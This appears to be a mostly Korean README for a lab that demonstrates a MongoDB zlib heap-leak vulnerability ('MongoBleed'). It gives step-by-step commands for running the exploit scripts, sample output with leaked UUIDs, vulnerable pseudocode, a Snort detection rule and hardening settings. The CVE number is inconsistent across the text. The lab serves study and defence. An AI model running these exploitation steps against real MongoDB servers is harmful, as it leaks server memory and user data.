246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd

# 저장소 클론
git clone CVE-2025-14857-MongoBleed.git
cd MongoDBPoc

# 취약한 환경 시작
docker-compose up -d

# 초기화 대기 (15-20초)
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"

# 1. R6 데이터로 힙 채우기
python3 popular_heap.py 50

# 2. 취약점 확인
python3 poc.py --target 127.0.0.1 --check

# 3. 라이브 리커로 익스플로잇 (권장)
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json

[!] MongoBleed Live Leaker Avançado
[!] Alvo: 127.0.0.1:27017
[!] Faixa: doc_len 200 → 3000 (offset=500)

[*] Progresso: doc_len=245/3000 | Tentativas=100 | Taxa sucesso=100.0%

[!] PADRÕES R6 DETECTADOS (doc_len=245):
    [UUID] 1 novo(s):
      └─ 246434ed-759b-4ce9-bb9c-2f520a9919b8

공격자 → {compress: "zlib", uncompressedSize: 1MB, payload: <50 bytes>}
          ↓
서버가 힙 1MB를 할당  ← 취약점
          ↓
서버가 50바이트만 압축 해제
          ↓
서버가 전체 1MB 반환!
          └─ 50바이트 = 실제 데이터
          └─ ~1MB - 50 = 메모리 누수

// 패치 전
size_t uncompressedSize = header.uncompressedSize;  // ← 공격자 제어
buffer = malloc(uncompressedSize);                  // ← 악의적인 크기 할당
zlib_decompress(compressed, buffer);
send(buffer, uncompressedSize);                     // ← 전체 버퍼 누수

MongoDBPoc/
├── poc.py                          # 주요 익스플로잇
├── live_leaker.py                  # 증분 스캐닝 (✨ 권장)
├── popular_heap.py                 # 로드 스크립트
├── docker-compose.yml              # 취약한 MongoDB 7.0.5
├── init-db.js                      # 1000명 플레이어 + 500개 R6 세션
├── GUIA_TECNICO_COMPLETO.md       # 상세 문서 (200+ 페이지)
├── README.MD                       # 영어 문서
└── Portugues/                      # 번역 버전
    ├── poc_PT.py
    ├── README_PT.md
    └── GUIA_RAPIDO.md

alert tcp any any -> any 27017 (
    msg:"CVE-2025-14847 MongoBleed Attempt";
    content:"|d4 07 00 00|";
    byte_test:4,>,1000000,4,little;
    sid:2025001;
)

net:
  bindIp: 127.0.0.1              # 절대 0.0.0.0 사용 금지!
  compression:
    compressors: []              # zlib 비활성화

security:
  authorization: enabled

이 도구는 승인된 테스트 및 교육용으로만 제공됩니다.

무단 사용은 불법이며 다음과 같은 결과를 초래할 수 있습니다:
- 형사 고발 (브라질 법률 12.737/2012)
- 막대한 벌금
- 투옥

테스트 전에 항상 서면 허가를 받으십시오.